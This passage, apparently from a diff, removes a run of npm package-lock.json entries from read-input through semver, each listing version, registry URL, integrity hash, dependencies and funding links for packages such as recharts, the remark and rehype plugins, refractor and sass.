- "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
- "dependencies": {
- "pify": "^2.3.0"
- }
- },
- "node_modules/read-input": {
- "version": "0.3.1",
- "resolved": "https://registry.npmjs.org/read-input/-/read-input-0.3.1.tgz",
- "integrity": "sha512-J1ZkWCnB4altU7RTe+62PSfa21FrEtfKyO9fuqR3yP8kZku3nIwaw2Krj383JC7egAIl5Zyz2w+EOu9uXH5HZw=="
- },
- "node_modules/readdirp": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
- "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
- "dependencies": {
- "picomatch": "^2.2.1"
- },
- "engines": {
- "node": ">=8.10.0"
- }
- },
- "node_modules/recharts": {
- "version": "2.15.0",
- "resolved": "https://registry.npmjs.org/recharts/-/recharts-2.15.0.tgz",
- "integrity": "sha512-cIvMxDfpAmqAmVgc4yb7pgm/O1tmmkl/CjrvXuW+62/+7jj/iF9Ykm+hb/UJt42TREHMyd3gb+pkgoa2MxgDIw==",
- "dependencies": {
- "clsx": "^2.0.0",
- "eventemitter3": "^4.0.1",
- "lodash": "^4.17.21",
- "react-is": "^18.3.1",
- "react-smooth": "^4.0.0",
- "recharts-scale": "^0.4.4",
- "tiny-invariant": "^1.3.1",
- "victory-vendor": "^36.6.8"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "react": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
- "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
- }
- },
- "node_modules/recharts-scale": {
- "version": "0.4.5",
- "resolved": "https://registry.npmjs.org/recharts-scale/-/recharts-scale-0.4.5.tgz",
- "integrity": "sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==",
- "dependencies": {
- "decimal.js-light": "^2.4.1"
- }
- },
- "node_modules/recharts/node_modules/react-is": {
- "version": "18.3.1",
- "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
- "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="
- },
- "node_modules/recma-build-jsx": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/recma-build-jsx/-/recma-build-jsx-1.0.0.tgz",
- "integrity": "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "estree-util-build-jsx": "^3.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/recma-jsx": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/recma-jsx/-/recma-jsx-1.0.0.tgz",
- "integrity": "sha512-5vwkv65qWwYxg+Atz95acp8DMu1JDSqdGkA2Of1j6rCreyFUE/gp15fC8MnGEuG1W68UKjM6x6+YTWIh7hZM/Q==",
- "dependencies": {
- "acorn-jsx": "^5.0.0",
- "estree-util-to-js": "^2.0.0",
- "recma-parse": "^1.0.0",
- "recma-stringify": "^1.0.0",
- "unified": "^11.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/recma-parse": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/recma-parse/-/recma-parse-1.0.0.tgz",
- "integrity": "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "esast-util-from-js": "^2.0.0",
- "unified": "^11.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/recma-stringify": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/recma-stringify/-/recma-stringify-1.0.0.tgz",
- "integrity": "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "estree-util-to-js": "^2.0.0",
- "unified": "^11.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/redux": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz",
- "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==",
- "license": "MIT"
- },
- "node_modules/reflect.getprototypeof": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.8.tgz",
- "integrity": "sha512-B5dj6usc5dkk8uFliwjwDHM8To5/QwdKz9JcBZ8Ic4G1f0YmeeJTtE/ZTdgRFPAfxZFiUaPhZ1Jcs4qeagItGQ==",
- "dependencies": {
- "call-bind": "^1.0.8",
- "define-properties": "^1.2.1",
- "dunder-proto": "^1.0.0",
- "es-abstract": "^1.23.5",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.4",
- "gopd": "^1.2.0",
- "which-builtin-type": "^1.2.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/refractor": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/refractor/-/refractor-3.6.0.tgz",
- "integrity": "sha512-MY9W41IOWxxk31o+YvFCNyNzdkc9M20NoZK5vq6jkv4I/uh2zkWcfudj0Q1fovjUQJrNewS9NMzeTtqPf+n5EA==",
- "dependencies": {
- "hastscript": "^6.0.0",
- "parse-entities": "^2.0.0",
- "prismjs": "~1.27.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/@types/hast": {
- "version": "2.3.10",
- "resolved": "https://registry.npmjs.org/@types/hast/-/hast-2.3.10.tgz",
- "integrity": "sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==",
- "dependencies": {
- "@types/unist": "^2"
- }
- },
- "node_modules/refractor/node_modules/@types/unist": {
- "version": "2.0.11",
- "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz",
- "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="
- },
- "node_modules/refractor/node_modules/character-entities": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz",
- "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/character-entities-legacy": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
- "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/character-reference-invalid": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz",
- "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/comma-separated-tokens": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz",
- "integrity": "sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/hast-util-parse-selector": {
- "version": "2.2.5",
- "resolved": "https://registry.npmjs.org/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz",
- "integrity": "sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ==",
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/refractor/node_modules/hastscript": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/hastscript/-/hastscript-6.0.0.tgz",
- "integrity": "sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w==",
- "dependencies": {
- "@types/hast": "^2.0.0",
- "comma-separated-tokens": "^1.0.0",
- "hast-util-parse-selector": "^2.0.0",
- "property-information": "^5.0.0",
- "space-separated-tokens": "^1.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/refractor/node_modules/is-alphabetical": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz",
- "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/is-alphanumerical": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
- "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==",
- "dependencies": {
- "is-alphabetical": "^1.0.0",
- "is-decimal": "^1.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/is-decimal": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz",
- "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/is-hexadecimal": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz",
- "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/parse-entities": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz",
- "integrity": "sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ==",
- "dependencies": {
- "character-entities": "^1.0.0",
- "character-entities-legacy": "^1.0.0",
- "character-reference-invalid": "^1.0.0",
- "is-alphanumerical": "^1.0.0",
- "is-decimal": "^1.0.0",
- "is-hexadecimal": "^1.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/prismjs": {
- "version": "1.27.0",
- "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.27.0.tgz",
- "integrity": "sha512-t13BGPUlFDR7wRB5kQDG4jjl7XeuH6jbJGt11JHPL96qwsEHNX2+68tFXqc1/k+/jALsbSWJKUOT/hcYAZ5LkA==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/refractor/node_modules/property-information": {
- "version": "5.6.0",
- "resolved": "https://registry.npmjs.org/property-information/-/property-information-5.6.0.tgz",
- "integrity": "sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA==",
- "dependencies": {
- "xtend": "^4.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/refractor/node_modules/space-separated-tokens": {
- "version": "1.1.5",
- "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz",
- "integrity": "sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/regexp.prototype.flags": {
- "version": "1.5.3",
- "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.3.tgz",
- "integrity": "sha512-vqlC04+RQoFalODCbCumG2xIOvapzVMHwsyIGM/SIE8fRhFFsXeH8/QQ+s0T0kDAhKc4k30s73/0ydkHQz6HlQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-errors": "^1.3.0",
- "set-function-name": "^2.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/rehype-autolink-headings": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/rehype-autolink-headings/-/rehype-autolink-headings-7.1.0.tgz",
- "integrity": "sha512-rItO/pSdvnvsP4QRB1pmPiNHUskikqtPojZKJPPPAVx9Hj8i8TwMBhofrrAYRhYOOBZH9tgmG5lPqDLuIWPWmw==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "@ungap/structured-clone": "^1.0.0",
- "hast-util-heading-rank": "^3.0.0",
- "hast-util-is-element": "^3.0.0",
- "unified": "^11.0.0",
- "unist-util-visit": "^5.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/rehype-raw": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz",
- "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "hast-util-raw": "^9.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/rehype-recma": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/rehype-recma/-/rehype-recma-1.0.0.tgz",
- "integrity": "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==",
- "dependencies": {
- "@types/estree": "^1.0.0",
- "@types/hast": "^3.0.0",
- "hast-util-to-estree": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/rehype-slug": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/rehype-slug/-/rehype-slug-6.0.0.tgz",
- "integrity": "sha512-lWyvf/jwu+oS5+hL5eClVd3hNdmwM1kAC0BUvEGD19pajQMIzcNUd/k9GsfQ+FfECvX+JE+e9/btsKH0EjJT6A==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "github-slugger": "^2.0.0",
- "hast-util-heading-rank": "^3.0.0",
- "hast-util-to-string": "^3.0.0",
- "unist-util-visit": "^5.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/remark-gfm": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.0.tgz",
- "integrity": "sha512-U92vJgBPkbw4Zfu/IiW2oTZLSL3Zpv+uI7My2eq8JxKgqraFdU8YUGicEJCEgSbeaG+QDFqIcwwfMTOEelPxuA==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "mdast-util-gfm": "^3.0.0",
- "micromark-extension-gfm": "^3.0.0",
- "remark-parse": "^11.0.0",
- "remark-stringify": "^11.0.0",
- "unified": "^11.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/remark-mdx": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-3.1.0.tgz",
- "integrity": "sha512-Ngl/H3YXyBV9RcRNdlYsZujAmhsxwzxpDzpDEhFBVAGthS4GDgnctpDjgFl/ULx5UEDzqtW1cyBSNKqYYrqLBA==",
- "dependencies": {
- "mdast-util-mdx": "^3.0.0",
- "micromark-extension-mdxjs": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/remark-parse": {
- "version": "11.0.0",
- "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz",
- "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==",
- "license": "MIT",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "mdast-util-from-markdown": "^2.0.0",
- "micromark-util-types": "^2.0.0",
- "unified": "^11.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/remark-rehype": {
- "version": "11.1.1",
- "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.1.tgz",
- "integrity": "sha512-g/osARvjkBXb6Wo0XvAeXQohVta8i84ACbenPpoSsxTOQH/Ae0/RGP4WZgnMH5pMLpsj4FG7OHmcIcXxpza8eQ==",
- "dependencies": {
- "@types/hast": "^3.0.0",
- "@types/mdast": "^4.0.0",
- "mdast-util-to-hast": "^13.0.0",
- "unified": "^11.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/remark-stringify": {
- "version": "11.0.0",
- "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz",
- "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==",
- "dependencies": {
- "@types/mdast": "^4.0.0",
- "mdast-util-to-markdown": "^2.0.0",
- "unified": "^11.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/remarkable": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/remarkable/-/remarkable-2.0.1.tgz",
- "integrity": "sha512-YJyMcOH5lrR+kZdmB0aJJ4+93bEojRZ1HGDn9Eagu6ibg7aVZhc3OWbbShRid+Q5eAfsEqWxpe+g5W5nYNfNiA==",
- "license": "MIT",
- "dependencies": {
- "argparse": "^1.0.10",
- "autolinker": "^3.11.0"
- },
- "bin": {
- "remarkable": "bin/remarkable.js"
- },
- "engines": {
- "node": ">= 6.0.0"
- }
- },
- "node_modules/remarkable/node_modules/argparse": {
- "version": "1.0.10",
- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
- "license": "MIT",
- "dependencies": {
- "sprintf-js": "~1.0.2"
- }
- },
- "node_modules/repeat-string": {
- "version": "1.6.1",
- "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
- "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==",
- "license": "MIT",
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/requires-port": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
- "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
- "license": "MIT"
- },
- "node_modules/reselect": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz",
- "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==",
- "license": "MIT"
- },
- "node_modules/resolve": {
- "version": "1.22.8",
- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
- "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==",
- "dependencies": {
- "is-core-module": "^2.13.0",
- "path-parse": "^1.0.7",
- "supports-preserve-symlinks-flag": "^1.0.0"
- },
- "bin": {
- "resolve": "bin/resolve"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/resolve-from": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
- "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/resolve-pkg-maps": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz",
- "integrity": "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==",
- "funding": {
- "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1"
- }
- },
- "node_modules/ret": {
- "version": "0.2.2",
- "resolved": "https://registry.npmjs.org/ret/-/ret-0.2.2.tgz",
- "integrity": "sha512-M0b3YWQs7R3Z917WRQy1HHA7Ba7D8hvZg6UE5mLykJxQVE2ju0IXbGlaHPPlkY+WN7wFP+wUMXmBFA0aV6vYGQ==",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/reusify": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
- "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
- "engines": {
- "iojs": ">=1.0.0",
- "node": ">=0.10.0"
- }
- },
- "node_modules/rimraf": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
- "deprecated": "Rimraf versions prior to v4 are no longer supported",
- "dependencies": {
- "glob": "^7.1.3"
- },
- "bin": {
- "rimraf": "bin.js"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/run-parallel": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
- "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "dependencies": {
- "queue-microtask": "^1.2.2"
- }
- },
- "node_modules/safe-array-concat": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",
- "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",
- "dependencies": {
- "call-bind": "^1.0.8",
- "call-bound": "^1.0.2",
- "get-intrinsic": "^1.2.6",
- "has-symbols": "^1.1.0",
- "isarray": "^2.0.5"
- },
- "engines": {
- "node": ">=0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/safe-buffer": {
- "version": "5.2.1",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
- "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT"
- },
- "node_modules/safe-regex-test": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
- "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "es-errors": "^1.3.0",
- "is-regex": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/sass": {
- "version": "1.83.4",
- "resolved": "https://registry.npmjs.org/sass/-/sass-1.83.4.tgz",
- "integrity": "sha512-B1bozCeNQiOgDcLd33e2Cs2U60wZwjUUXzh900ZyQF5qUasvMdDZYbQ566LJu7cqR+sAHlAfO6RMkaID5s6qpA==",
- "devOptional": true,
- "dependencies": {
- "chokidar": "^4.0.0",
- "immutable": "^5.0.2",
- "source-map-js": ">=0.6.2 <2.0.0"
- },
- "bin": {
- "sass": "sass.js"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "optionalDependencies": {
- "@parcel/watcher": "^2.4.1"
- }
- },
- "node_modules/sass/node_modules/chokidar": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz",
- "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==",
- "devOptional": true,
- "dependencies": {
- "readdirp": "^4.0.1"
- },
- "engines": {
- "node": ">= 14.16.0"
- },
- "funding": {
- "url": "https://paulmillr.com/funding/"
- }
- },
- "node_modules/sass/node_modules/readdirp": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.1.tgz",
- "integrity": "sha512-h80JrZu/MHUZCyHu5ciuoI0+WxsCxzxJTILn6Fs8rxSnFPh+UVHYfeIxK1nVGugMqkfC4vJcBOYbkfkwYK0+gw==",
- "devOptional": true,
- "engines": {
- "node": ">= 14.18.0"
- },
- "funding": {
- "type": "individual",
- "url": "https://paulmillr.com/funding/"
- }
- },
- "node_modules/scheduler": {
- "version": "0.23.2",
- "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz",
- "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==",
- "dependencies": {
- "loose-envify": "^1.1.0"
- }
- },
- "node_modules/semver": {
- "version": "7.7.3",
- "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
